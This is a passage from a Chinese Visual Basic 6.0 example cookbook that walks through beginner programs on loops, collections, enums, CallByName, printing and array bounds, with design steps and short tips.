    iMod As Integer                                    '余数
    sAnimal As String * 1                              '属相
    sDescription As String * 300                       '属相描述
End Type




在模块中编写一个自定义的过程，该过程根据输入的年份判断该年的生肖，利用当前的年份除以12所得的余数进行判断。当余数为0时，则该年为猴年；当余数为1时，则该年为鸡年，依此类推，程序代码如下：



Public Function QueryZodiac(iYear As Integer) As Zodiac
    Select Case iYear Mod 12
    Case 4                                            '余数为4
        QueryZodiac.iMod = 4
        QueryZodiac.sAnimal = "鼠"
        QueryZodiac.sDescription = "鼠年生人，为天贵星，性格非常聪明伶俐，凡事宜有心德，此人志愿颇高，利欲心很强，颇有成就，且有积蓄财富，一生多幸福，不过贵星太多，防欺人太甚，到时则会如命理所说：“四贵克子孙”，多与人和睦，到中年运到来风调雨顺，一切所谋遂意，到老年万事达到成功境界，此时得荣华富贵，若逢破星克命，虽富也不会吉也。"
'…省略内容详见光盘
    End Select
End Function




当程序运行后，在文本框中输入年份，单击“测试”按钮，即可计算出该年份的生肖，并在图片中将该生肖显示为黄色，在下面的信息框中显示该生肖的相关信息，程序代码如下：



Private Sub Command1_Click()
    Dim iNum As Integer                                    '定义整型变量存储余数
    Dim i As Integer                                    '定义整型变量，循环计数
    For i = 0 To Img.UBound                                '循环
        Img(i).Picture = Img0(i).Picture                            '将所有的图片都设置为蓝色
    Next i
    iNum = QueryZodiac(Val(Text1.Text)).iMod                    '获取余数
    Img(iNum).Picture = Img1(iNum).Picture                        '设置选中的动物为黄色
    '显示属相的相关测试结果
    Label2.Caption = QueryZodiac(Val(Text1.Text)).sAnimal & "," & QueryZodiac(Val(Text1.Text)).sDescription
End Sub




如果用户知道自己的属相，直接单击相应动物的图标，也可以在下面的信息框中显示出该属相的相关信息，程序代码如下：



Private Sub Img_Click(Index As Integer)
    Dim i As Integer                                    '定义整型变量循环计数
    For i = 0 To Img.UBound                                '循环
        Img(i).Picture = Img0(i).Picture                            '设置所有图片为蓝色
    Next i
    Img(Index).Picture = Img1(Index).Picture                        '设置选中的为黄色
    '显示属相的相关测试结果
    Label2.Caption = QueryZodiac(Index).sAnimal & "," & QueryZodiac(Index).sDescription
End Sub




秘笈心法

心法领悟034：在If…Then语句的条件处理中使用括号。

在条件语句中加括号改变判断表达式的判断顺序，代码如下：



Private Sub Command1_Click()
Dim i As Boolean
i = True
Dim j As Boolean
j = False
Dim k As Boolean
k = False
If j And (k Or i) = True Then
MsgBox "true"
Else
MsgBox "false"
End If
End Sub





 2.5　循环与跳转语句



 实例035　防止无限循环

光盘位置：光盘\MR\02\035

中级

趣味指数：[image: ]




实例说明

本实例实现了防止程序无限循环的功能。使用DoEvents语句将控制权限交还给系统，防止无限循环。例如，本例当循环执行到1000以上时将控制权交还给系统，程序的运行效果如图2.23所示。

[image: ]
图2.23　防止无限循环



关键技术

本实例主要是通过使用DoEvents函数转让控制权，以便让操作系统处理其他的事件来实现的，语法如下：



DoEvents()




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“防止无限循环”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，将Caption属性设置为“防止无限循环”，并设置Font属性。

（4）程序的主要代码如下：



Private Sub Command1_Click()
    On Error Resume Next
    Dim i As Integer  '声明计数器
    i = 0  '设置计数器初始值
    Do While 1 = 1  '显然是无限循环
        i = i + 1  '计循环次数
        If i > 1000 Then  '当计数器大于1000时将进程交还给系统，防止无限循环
            DoEvents
        End If
    Loop
End Sub




秘笈心法

心法领悟035：DoEvents函数小知识。

如果在程序的重要部分，开发者希望锁定一些事情（阻止VB程序由键盘、鼠标或其他程序中断），切记不能使用DoEvents函数。如果开发者的程序从一个调制解调器获取信息时，可以这样做。另外使用DoEvents函数将减慢循环或者其他结构的执行。



 实例036　0到100的累加

光盘位置：光盘\MR\02\036

初级

趣味指数：[image: ]




实例说明

[image: ]
图2.24　0到100的累加



本实例实现了计算0到100的累加的功能，可以使用While关键字的Do…Loop语句，即当型循环语句来实现。当表达式的值为True时，执行语句组中的循环，直到表达式值为False。使用当型循环语句也可以代替For…Next语句。本实例中将从0累加到100，用当型循环语句代替，程序的运行效果如图2.24所示。

关键技术

本实例主要是通过使用While关键字的Do…Loop语句来实现的。

Do…Loop语句可以重复循环一组语句，但是没有规定循环的次数，而是通过限定循环条件来控制循环，如同If…Then语句，当所判定条件的Boolean值为True时进入循环，为False时则不进入循环。

Do…Loop语句的语法有两种形式。

形式1：



Do [{While | Until} <表达式>]
    [<语句组>]
[Exit Do]
    [<语句组>]
Loop




形式2：



Do
    [<语句组>]
[Exit Do]
    [<语句组>]
Loop [{While | Until} <表达式>]




Do…Loop语句的参数说明如表2.4所示。

表2.4　Do…Loop语句的参数说明



	参数
	说明



	表达式
	可选参数。数值表达式或字符串表达式，其值为True或False。如果表达式为Null，则表达式值会被当作False



	While | Until
	可选参数。Visual Basic关键字。有While关键字出现的Do…Loop语句属于当型循环语句；而有Until关键字出现的Do…Loop语句属于直到型循环语句



	语句组
	可选参数。一条或多条语句，Do…Loop语句中被重复执行的语句组



	Exit Do
	可选参数。退出Do…Loop循环的方法




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“0到100的累加”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，将Caption属性设置为“累加”。

（4）程序的主要代码如下：



Private Sub Command1_Click()
    Dim a As Long, b As Long
    Do While a < 100
        a = a + 1                                    '数值加1
        b = b + a                                    '累加
    Loop
    Label1.Caption = "0～100的累加结果为" & b
End Sub




实例中的While当型循环语句可以理解为：当a<100时就循环执行Do…Loop中的语句。每次执行，变量a自动增加1，变量b等于之前变量b的值与每次都自动增加1后的变量a相加。

秘笈心法

心法领悟036：With语句用法小知识。

With语句是在一个定制的对象或一个用户定义的类型上执行的一系列语句。With语句可以嵌套使用，但是外层With语句的对象或用户自定义类型会在内层的With语句中被屏蔽住，所以必须在内层的With语句中使用完整的对象或用户自定义类型名称来引用在外层的With语句中的对象或用户自定义类型。



 实例037　谁最大，谁最小

光盘位置：光盘\MR\02\037

中级

趣味指数：[image: ]




实例说明

[image: ]
图2.25　谁最大，谁最小



本实例实现通过单击“最大值”或“最小值”按钮，调用输入对话框，并将输入对话框中输入的数值中最大的或最小的数值显示出来。本实例在Do…Loop循环语句中使用InputBox函数调用输入对话框输入数值，并使用If…Then语句判断这些数值，程序的运行效果如图2.25所示。

关键技术

本实例主要是通过使用Exit Do语句来实现的，Exit Do语句属于Exit语句的形式之一。

Exit语句用来退出Do…Loop、For…Next、Function、Sub或Property代码块。Exit语句包括以下几种类型：



Exit Do
Exit For
Exit Function
Exit Property
Exit Sub




Exit语句中各类型的作用如表2.5所示。

表2.5　Exit语句中各类型的作用



	类型
	作用



	Exit Do
	退出Do…Loop循环的一种方法，只能在Do…Loop循环语句中使用。Exit Do语句会将控制权转移到Loop语句之后的语句。当Exit Do语句用在嵌套的Do…Loop循环语句中时，Exit Do语句会将控制权转移到Exit Do语句所在位置的外层循环



	Exit For
	退出For…Next循环的一种方法，只能在For…Next或 For Each…Next循环中使用。Exit For语句会将控制权转移到Next语句之后的语句。当Exit For语句用在嵌套的For…Next或For Each…Next循环中时，Exit For语句将控制权转移到Exit For语句所在位置的外层循环



	Exit Function
	立即从包含该语句的Function过程中退出。程序会从调用Function过程的语句之后的语句继续执行



	Exit Property
	立即从包含该语句的Property过程中退出。程序会从调用Property过程的语句之后的语句继续执行



	Exit Sub
	立即从包含该语句的Sub过程中退出。程序会从调用Sub过程语句之后的语句继续执行




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“谁最大，谁最小”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，将Caption属性设置为空，并设置Font属性，用于显示输入数据的最大值或最小值；添加两个CommandButton控件，将Caption属性分别设置为“最大值”和“最小值”，用于执行相应的命令。

（4）单击“最大值”按钮的事件代码如下：



Private Sub Command1_Click()
    Dim a, b As Double, c As Boolean
    c = False
    Do
        If c = True Then                                            '输入数值
            a = InputBox("请输入数值，输入非数字结束。目前最大数为" & b, "输入")
        Else
            a = InputBox("请输入数值，输入非数字结束。", "输入")
        End If
        If IsNumeric(a) Then                                        '判断是否是数值型
            If c = False Then
                b = a
                c = True
            Else
                b = CDbl(IIf(CDbl(a) > b, a, b))                            '如果a>b交换值
            End If
        Else
            Exit Do                                            '退出循环
        End If
    Loop
    Label1.Caption = "输入的数中最大的是：" & b
End Sub




使用Do…Loop语句，循环使用InputBox函数调用输入对话框。使用If…Then…Else语句判断对话框输入的内容，如果为数值则继续循环，并将较大的数值赋值给变量b；当对话框内容不是数值时，执行Exit Do语句跳出Do…Loop循环语句，然后将变量b的值在Label1控件中显示出来。

单击“最小值”按钮的事件代码如下：



Private Sub Command2_Click()
    Dim a, b As Double, c As Boolean
    c = False
    Do
        If c = True Then
            a = InputBox("请输入数值，输入非数字结束。目前最小数为" & b, "输入")    '输入数值
        Else
            a = InputBox("请输入数值，输入非数字结束。", "输入")
        End If
        If IsNumeric(a) Then                                        '判断是否是数值型
            If c = False Then
                b = a
                c = True
            Else
                b = CDbl(IIf(CDbl(a) < b, a, b))                            '比较最小值
            End If
        Else
            Exit Do                                            '退出循环
        End If
    Loop
    Label1.Caption = "输入的数中最小的是：" & b
End Sub




秘笈心法

心法领悟037：利用Exit Do语句跳出循环。

使用Exit Do语句可以跳出任何循环的Do…Loop语句，将程序所要执行的语句跳到Loop语句之后，而不再执行Do…Loop语句的循环中。Exit Do语句可以放在Do…Loop语句中的任意位置，通常都与选择结构语句共同使用，如If…Then语句。



 实例038　漂亮的星星

光盘位置：光盘\MR\02\038

中级

趣味指数：[image: ]




实例说明

[image: ]
图2.26　漂亮的星星



本实例实现了输出三角形形状的漂亮星星的功能。本实例在While…Wend语句中嵌套For…Next语句，程序运行之后，单击窗体中的“显示”按钮将在窗体中显示输出一个以符号“*”组成的三角形，输出结果如图2.26所示。

关键技术

本实例主要是通过使用While…Wend语句中嵌套For…Next语句来实现星星的显示。

（1）While…Wend语句

While…Wend语句只要指定的条件为True，就会重复执行一行或多行语句。可以嵌套使用，但要注意每个Wend语句都与前面最近的While语句匹配，语法如下：



While <表达式>
[语句组]
Wend




参数说明

❶表达式：必选参数。为数值表达式或字符串表达式，其计算结果为True或False。如果表达式为Null，则计算结果为False。

❷语句组：可选参数。由一条或多条语句组成，当表达式计算结果为True时执行这些语句。


注意：
 如果表达式计算结果为True，那么就会按顺序执行语句组中的语句，直到Wend语句，然后返回While语句判断表达式的计算结果，结果为True则继续执行语句组中的语句，像这样不停地循环执行，直到While语句判断的表达式计算结果为False时停止循环，程序继续执行Wend下面的语句。

（2）For…Next语句

For…Next语句与While…Wend语句不同。While…Wend语句是通过判断条件来控制循环，而For…Next语句则通过指定循环次数来限制执行循环，语法如下：



For <变量> = <开始值> To <结束值> [Step <增量>]
    [语句组]
[Exit For]
    [语句组]
Next [变量]




For…Next语句的参数说明如表2.6所示。

表2.6　For…Next语句的参数说明



	参数
	说明



	变量
	必选参数。循环次数的计数数值变量，这个变量不能是Boolean型或数组元素



	开始值
	必选参数。变量的初值



	结束值
	必选参数。变量的终值



	增量
	可选参数。变量的步长（每循环一次增加或减少的数值）。如果没有指定，则增量的默认值为1，为负数时则是变量每次减少的数值



	语句组
	可选参数。放在For和Next之间的一条或多条语句



	Exit For
	一种退出For循环的方法，会将控制权转移到Next之后的语句





注意：
 增量的值不能为0，如果为0程序将进入死循环。而且最好不要在循环所执行的语句组当中改变循环次数的计数变量的值，这样会使对程序代码的阅读和调试变得更加困难，不便于程序的维护。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“漂亮的星星”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个CommandButton控件，将Caption属性设置为“显示”，用于执行相应的命令。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim a As Long, b As Long
    Form1.Cls                                    '清空窗体
    While a <= 9                                    '限制条件
      a = a + 1
'调整输出位置
      For b = 1 To 23 – a                                '循环
          Print " ";                                    '输出空格
      Next b
'输出符号“*”的个数
       For b = 1 To 2 * a - 1
           Print "*";                                '输出*
       Next b
       Print
    Wend
End Sub





说明：
 在Print方法中使用符号“;”，可以使接下来输出的内容不换行。

秘笈心法

心法领悟038：循环语句嵌套小知识。

在一个循环语句的语句组中写入另一个完整的循环语句就是循环嵌套。这两个循环语句可以是不同类型的，可以在While…Wend语句中嵌套For…Next语句，也可以在For…Next语句中嵌套While…Wend语句，而且对循环嵌套的层数也没有限制。但在使用For…Next语句进行嵌套时，外循环与内循环的循环次数与计数变量必须是唯一的（变量名不能相同，同级循环变量名可以相同），而且内循环必须完整地被外循环包含。



 实例039　完数判断

光盘位置：光盘\MR\02\039

初级

趣味指数：[image: ]




实例说明

本实例实现了判断1000以内完数的功能。完数就是该数的所有约数（能整除自己的自然数），但不包括本身，这些约数相加等于自己的数。例如，6就是一个完数，6=1+2+3。运行程序，单击“计算”按钮，在窗体上显示出1000以内的完数信息，如图2.27所示。

[image: ]
图2.27　输出1000以内的完数



关键技术

本实例是通过使用完数的算法输出1000以内的完数，主要用到了While关键字的Do…Loop语句循环1000以内的整数；然后利用内嵌For…Next语句求该整数所有因子的和；最后当该整数因子的和与该整数相等，输出该完数。


说明：
 （1）While关键字的Do…Loop语句循环的详细讲解请参见实例036中的关键技术。

（2）For…Next语句的详细讲解请参见实例038中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“输出1000以内的完　数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个CommandButton控件，将Caption属性分别设置为“计算”和“退出”，用于执行相应的命令。

（4）程序的运行代码如下：



Private Sub Form_Click()
    '求1000以内的完数
    Dim i, number, s
    number = 1
    s = 0
    Do While (number < 1000)                                       '循环范围
        s = 0
        For i = 1 To number – 1                                '内层循环
            If (number Mod i) = 0 Then s = s + I                    '判断语句
        Next i
        If number = s Then                                '判断
            mystr = Str(s) + "的因子是："
            For i = 1 To s – 1                                '内层循环
                If (s Mod i) = 0 Then
                    mystr = mystr + Str(i) + ";"
                End If
            Next i
            Print mystr                                    '输出结果
            Print
        End If
        number = number + 1
    Loop
End Sub




秘笈心法

心法领悟039：变量的作用范围。

利用Public、Private、Dim等语句来声明一个新变量，需要注意：

（1）在过程的内部仅能用Dim或Static来声明变量，其访问范围永远是私有的。

① 通过Static语句声明的变量在执行过程中一直存在，当过程结束后变量仍然存在，但对过程以外的代码无效。

② 通过Dim语句声明的变量在执行过程中一直存在，当过程结束后变量自动消失。

（2）在模块内以Private或Dim声明变量，则在该模块内部，这些变量均可被任何代码访问，但其他模块则无法使用它们。

（3）如果以Public声明公有变量，则所有的代码均可加以访问。


 2.6　对象与数据结构



 实例040　将文本控件加入到集合中

光盘位置：光盘\MR\02\040

中级

趣味指数：[image: ]




实例说明

[image: ]
图2.28　VB中数据集合对象的应用



本实例实现了将文本控件加入到集合中的功能。首先要创建一个集合实体，并利用其Add方法将指定对象加入到集合中。然后对集合中的对象进行操作。例如，将所有的TextBox控件加入到集合中。将集合中所有的TextBox控件的Text属性赋值为“mingrisoft”，单击“确定”按钮，显示结果如图2.28所示。

关键技术

本实例主要是通过创建一个集合实体，并利用其Add方法将指定对象加入到集合中。然后对集合中的对象进行操作。

Microsoft Visual Basic 6.0不仅提供了大量的预期定义的集合类型（如窗体集合、控件集合等），还提供了一个自定义的集合类型Collection。Collection对象是元素所组成的有序集合，可以把这个集合作为单元来引用。用户可以使用Collection类型来声明一个自定义的集合，并在集合中处理任何类型的数据或者对象。

集合声明如下：



Dim Col as New Collection




一旦声明了一个集合，就可以使用Add方法来增加集合中的元素，使用Remove方法来删除元素，使用Item方法来访问集合中的元素。

Collection对象将每一项存储于Variants对象中。于是能够添加到Collection对象中的内容列表就和能够存储到Variants中的内容列表是相同的。内容列表中可以包括标准数据类型、对象和数组，但不包括用户定义类型。通过建立自己的集合类型能够提供更强健的功能，以及额外的属性、方法和事件。

在Visual Basic中，各个不同的集合根据各自的特点提供了不同的属性和操作方法，但是每个集合都有相同的一组属性和方法，如表2.7所示。

表2.7　Collection对象的方法说明



	方法
	说明



	Count方法
	该方法包含了计划总重的对象数目。该方法返回值为长整型，且在设计和运行时均为只读



	Add方法
	向集合添加一个元素



	Remove方法
	从集合中删除某一个元素



	Item方法
	从集合中获取指定的元素




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“VB中数据集合对象的应用”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加4个TextBox控件，名称均使用默认名称；添加两个CommandButton控件，将其Caption属性分别设置为“确定”和“退出”。

（4）程序的运行代码如下：



Dim aaa As Collection
Private Sub Command1_Click()
    Dim item As Control
    For Each item In aaa
        item.Text = "mingrisoft"  '对集合中所有的TextBox控件的Text属性赋值
    Next item
End Sub
Private Sub Command2_Click()
    Unload Me
End Sub
Private Sub Form_Load()
    Set aaa = New Collection
    Dim tex As Control
    For Each tex In Me.Controls
        If TypeName(tex) = "TextBox" Then  '判断对象类型是否为TextBox
            aaa.Add tex, tex.Name  '将所有TextBox控件加入到集合
        End If
    Next tex
End Sub




秘笈心法

心法领悟040：集合小知识。

集合在数学中是一个很重要的概念，也是一种原始的概念。在Microsoft Visual Basic中，集合仍然起着很重要的作用，它提供了一种把相关对象进行分组的方法。它是将一系列相关的项构成组的一种方法，其优点在于可以对集合中的多个对象进行处理。

尽管集合最常被用来处理对象，其实它也可以被用来处理任何类型的数据。集合中的每一个元素都是通过Variant来存储和操作的，这样就可以利用Variant的各种操作来简化集合的各项操作。同时，集合的大小也是不固定的，可以在其中随时添加或者删除元素。

在集合操作中，索引（Index）和键值（Key）是很重要的两个概念，不仅可以通过索引访问集合中的元素，还可以通过键值来完成访问。集合根据其索引的不同，可以分为基于0的集合和基于1的集合。



 实例041　创建包括12个月份的枚举类型

光盘位置：光盘\MR\02\041

中级

趣味指数：[image: ]




实例说明

[image: ]
图2.29　枚举类型应用



本实例实现了创建包括12个月份的枚举类型的功能。在模块中创建一个枚举类型，枚举类型中具有一年中的12个月。在窗体加载时，利用枚举类型向文本框中写入月份信息，运行效果如图2.29所示。

关键技术

本实例主要是通过使用定义枚举类型的变量来实现的。当一个变量有两个或两个以上的值时，就可以通过使用Enum语句定义这个变量为枚举型数据类型，在这个变量中各成员的值都可以称为枚举值，语法如下：



[Public | Private] Enum <枚举数据名称>
    <成员1> [= <表达式>]
    <成员2> [= <表达式>]
……
    <成员n> [= <表达式>]
End Enum




枚举型数据语法中的各参数说明如表2.8所示。

表2.8　枚举型数据语法中的各参数说明



	参数
	说明



	Public
	可选参数。表示该Enum类型在整个工程中都是可见的。Enum类型的默认情况是Public



	Private
	可选参数。表示该Enum类型只在所声明的模块中是可见的



	枚举数据名称
	必选参数。该Enum类型的名称。枚举数据名称必须是一个合法的Visual Basic标识符，在定义该Enum类型的变量或参数时用该名称来指定类型



	成员
	必选参数。用于指定该Enum类型的组成元素名称的合法Visual Basic标识符



	表达式
	可选参数。元素的值（为Long类型）。可以是别的Enum类型。如果没有指定表达式，则所赋给的值或者是0（如果该元素是第一个成员），或者比其直接前驱的值大1




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“定义一个枚举类型，包括12个月份”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，将MultiLine属性设置为True。

（4）程序的运行代码如下：



Option Explicit
Public Enum Month
    Jan = 1
    Feb = 2
    Mar = 3
    Apr = 4
    May = 5
    Jun = 6
    Jul = 7
    Aug = 8
    Sep = 9
    Oct = 10
    Nov = 11
    Dec = 12
End Enum
Private Sub Form_Load()
    Text1.Text = Month.Jan & "月份" & Month.Feb & "月份" & Month.Mar & "月份" _
                 & Month.Apr & "月份" & Month.May & "月份" & Month.Jun & "月份" _
                 & Month.Jul & "月份" & Month.Aug & "月份" & Month.Sep & "月份" _
                 & Month.Oct & "月份" & Month.Nov & "月份" & Month.Dec & "月份"
End Sub




秘笈心法

心法领悟041：如何声明同样类型的多个变量。

无论窗体级变量还是模块级变量，一次都可以声明多个。声明的多个变量都为一个类型时，可以用一条语句声明，各个变量名之间用逗号隔开的简略方法，例如，声明a、b、c、d都为整型，程序代码如下：



Dim a As Integer, b As Integer, c As Integer, d As Integer






 实例042　利用Object变量传递参数

光盘位置：光盘\MR\02\042

中级

趣味指数：[image: ]




实例说明

本实例主要实现了利用Object变量传递参数的功能。运行程序，单击“传值”按钮，在文本框中显示参数传递字符串，程序的运行效果如图2.30所示。

[image: ]
图2.30　利用Object变量传递参数



关键技术

本实例主要实现了声明对象变量并将该对象变量赋值为某同一类型的对象实例。通过该对象变量可以设置对象实例的属性，调用对象实例的方法等。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用Object变量传递参数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，名称均使用默认名称；在窗体上添加一个CommandButton控件，将Caption属性设置为“传值”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim i As Object                      '声明类型为TextBox的对象变量
    Set i = Text1                        '赋值为Text1实例
    i.Text = "传递参数"                  '设置被传递对象的Text属性
End Sub




秘笈心法

心法领悟042：如何声明模块和窗体级的变量。

可以使用Dim、Private和Public关键字声明模块和窗体级变量。

首先添加一个模块或类模块，再打开代码区域，就可以声明各种类型的变量。例如，在一个模块用Public关键字声明一个全局变量，在整个工程中都有效。

打开某一个窗体的代码编辑窗口，定位到最上边“通用”的位置，也就是声明窗体级变量的位置，输入声明变量的语句。一个窗体级变量在整个窗体都有效。

无论模块级变量还是窗体级变量均不能用Static关键字声明。



 实例043　有效使用Me关键字

光盘位置：光盘\MR\02\043

中级

趣味指数：[image: ]




实例说明

本实例主要实现了有效使用Me关键字的功能。运行程序，单击窗体，窗体背景将会变为黑色，将文本框控件移动到顶端，并显示Control，程序的运行效果如图2.31所示。

[image: ]
图2.31　有效使用Me关键字



关键技术

Me关键字是指当前正在运行的窗体或类。如果某窗体的模块需要调用一个子程序，可将Me作为调用窗体的标识传递给子程序。

在窗体模块内和窗体中控件同名的局部变量将遮住同名控件。必须引用窗体名称或Me关键字来限定控件，才能设置或者得到该控件的值或它的属性值。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“有效使用Me关键　　字”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，名称均使用默认名称；添加一个CommandButton控件，将Caption属性设置为“关闭”。

（4）程序的运行代码如下：



Private Sub Command3_Click()
    Unload Me
End Sub
Private Sub Form_Click ()
    Dim Text 1 ， BackColor
    '假定该窗体有一个控件也叫做 Text1
    Text1 = "Variable"        '变量用“阴影”遮住控件
    Me.Text1 = "Control"        '要得到控件，必须用‘Me’限定
    Text1.Top = 0            '导致出错
    Me.Text1.Top = 0         '要得到控件，必须用‘Me’限定
    BackColor = 0             '变量用“阴影”遮住属性
    Me.BackColor = 0         '要得到窗体属性，必须用‘Me’限定
End Sub




利用Me对象调用。

秘笈心法

心法领悟043：用注释清除程序语句。

如果程序较复杂，可以通过注释来帮助程序调试。例如，在调试下面的程序时，处理Flash控件的代码需要暂时清除掉，如果直接删除，则以后还要重新编写，影响开发效率。如果暂时将代码注释掉，则调试时编译器会忽略注释掉的代码，使用这些代码时，解除这些代码的注释即可，程序代码如下：



Private Sub Form_Activate()
List1.Clear
List1.AddItem ("都市新闻网络中心  安装配置录像")
List1.AddItem ("物流网络发布平台  安装配置录像")
'ShockwaveFlash1.Width = Me.Width - 300
    'ShockwaveFlash1.Height = Me.Height - 1000
    'ShockwaveFlash1.Top = 0
    'ShockwaveFlash1.Left = 0
    'ShockwaveFlash1.WMode = transparent  '设置动画透明
End Sub






 实例044　利用CallByName函数对对象进行操作

光盘位置：光盘\MR\02\044

中级

趣味指数：[image: ]




实例说明

本实例主要实现了利用CallByName函数对对象进行操作。运行程序，单击“获取”按钮，将会获取文本框的值，单击“移动”按钮，该按钮就会移动到窗体的另一个位置，当鼠标划过“看我的指针”文本框时，鼠标指针将变为十字箭头形式，程序的运行效果如图2.32所示。

[image: ]
图2.32　利用CallByName函数对对象进行操作



关键技术

CallByName函数用于获取或者设置一个属性，或者在运行时使用一个字符串名称来调用一个方法。VbMethod常数代表方法。

CallByName函数的VbGet常数代表获取属性。例如，本例使用CallByName函数获取文本框Text1的Text属性。单击“获取”按钮，文本框Text2将获得文本框Text1的Text属性；通过该函数调用Command2按钮的Move方法。单击“移动”按钮，该按钮就会改变在窗体中的位置；使用CallByName函数设置文本框Text4的MousePointer属性。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“利用CallByName函数获取对象属性”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加4个TextBox控件、一个Label控件和两个CommandButton控件。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Text2.Text = CallByName(Text1, "Text", VbGet)
End Sub
Private Sub Form_Load()
    Text3.Text = "Move"                                        'Move方法的名称
    CallByName Text4, "MousePointer", VbLet, 15
End Sub
Private Sub Command2_Click()
    If Command2.Left <> 0 Then
        CallByName Command2, Text3, VbMethod, 0, 0
    Else
        CallByName Command2, Text3, VbMethod, 1000, 200
    End If
End Sub




秘笈心法

心法领悟044：在Timer控件中使用计数变量。

Timer控件可用来在一定的时间间隔执行某些操作，如果操作项超过两个，就需要通过变量控制操作。在使用变量前，应该在模块顶部的声明段用Private关键字声明模块级变量，从而建立模块级变量。然后在启动或其他过程中给变量赋值，最后在时间控件的Timer事件中计数。下面代码实现窗体启动后，显示图片效果。



Private myint As Integer     
Private Sub Form_Load()
myint = 0
End Sub
Private Sub Timer1_Timer()
i = i + 1
If myint = 2 Then me.Picture = LoadPicture(App.Path & "01.bmp")
If myint = 4 Then me.Picture = LoadPicture(App.Path & "02.bmp")
If myint = 6 Then me.Picture = LoadPicture(App.Path & "03.bmp")
If i = 10 Then i = 0
End Sub






 实例045　打印住宿登记

光盘位置：光盘\MR\02\045

高级

趣味指数：[image: ]




实例说明

本实例将使用Printer对象实现一个卡片式打印，即住宿登记证的打印。运行程序，录入住宿信息，如图2.33所示。

[image: ]
图2.33　打印住宿登记



单击“打印”按钮打印住宿登记证，打印结果如图2.34所示。

[image: ]
图2.34　打印结果



关键技术

本实例主要用到了Printer对象，使用 Printer 对象可以实现与系统打印机的通信（最初是默认系统打印机）。Printer对象的语法如下：



Printer




设计过程

（1）新建一个标准工程，默认名称为“工程1”。在该工程中会自动创建一个窗体，默认名称为Form1。

（2）在Form1窗体中添加Label控件、ComboBox控件、TextBox控件和CommandButton控件。

（3）用户在文本框中输入相关的信息，单击“打印”按钮，即可在打印机中打印出该住宿登记信息，程序代码如下：



Private Sub CmdPrint_Click()                                            '打印
    Printer.Height = 8000
    Printer.Width = 8000
    Printer.CurrentX = 1100
    Printer.CurrentY = 300
    Printer.FontSize = 12
    Printer.Print "天立宾馆 (住宿登记证) "
    Dim A, B, C, D As Integer
    A = 100
    B = 500
    C = 4800
    D = 400
    Printer.FontSize = 10
    Printer.CurrentX = 100 + A
    Printer.CurrentY = B + 200
    Printer.Print "时间： " & Date & " " & Time
    B = B + D
    Printer.Line (A, B + 100)-(C, B + 100)
    Printer.CurrentX = 100 + A
    Printer.CurrentY = B + 200
    Printer.Print "姓名：" & Text1.Text
    B = B + D
    Printer.CurrentX = 100 + A
    Printer.CurrentY = B + 200
    Printer.Print "房间号：" & Combo3.Text & "    客房价格：" & Format(Text4.Text, "0.00")
    B = B + D
    Printer.CurrentX = 100 + A
    Printer.CurrentY = B + 200
    Printer.Print "住宿天数：" & Text5.Text & "天"
    B = B + D
    Printer.CurrentX = 100 + A
    Printer.CurrentY = B + 200
    Printer.Print "住宿押金：" & Format(Text6.Text, "0.00")
    B = B + D
    Printer.Line (A, B + 100)-(C, B + 100)
    Printer.CurrentX = 100 + A
    Printer.CurrentY = B + 200
    Printer.Print "备注： " & Text7.Text & "             欢迎光临"
    Printer.EndDoc
End Sub




秘笈心法

心法领悟045：Printer对象小知识。

用图形方法在Printer对象上绘制文本和图形。一旦Printer对象中含有将要打印的输出信息，可用EndDoc 方法直接将输出信息送到应用程序的默认打印机上。

如果要打印这些信息，应该检查和可能还要修正窗体的布局。例如，如果用PrintForm方法打印窗体，则页底的图形图像可能被剪切掉，而文本则被移到下一页。


第3章　数组与指针

数组的引用与算法

数组的应用

控件数组

指针地址获取

地址调用

指针综合应用






 3.1　数组的引用与算法



 实例046　如何获取数组上限和下限

光盘位置：光盘\MR\03\046

初级

趣味指数：[image: ]




实例说明

[image: ]
图3.1　获取数组上限和下限



本实例实现了获取数组上限和下限的功能。利用UBound函数可以获取数组的上限，利用LBound函数可以获取数组的下限。如下例获取数组I（5）的上限和下限，单击“获取上下限”按钮，将显示数组I（5）的上限和下限，显示结果如图3.1所示。

关键技术

本实例主要是通过使用UBound函数和LBound函数来获取数组的上限和下限，下面对这两个函数进行讲解。

UBound函数可以返回指定数组中的指定维数可用的最大下标，其返回值为Long型。而LBound函数与UBound函数相反，该函数可以返回指定数组中的指定维数可用的最小下标，其值为Long型，语法如下：



UBound(<数组>[,<维数>])
LBound(<数组>[,<维数>])




参数说明

❶数组：必选参数。数组的名称，遵循标准的变量命名约定。

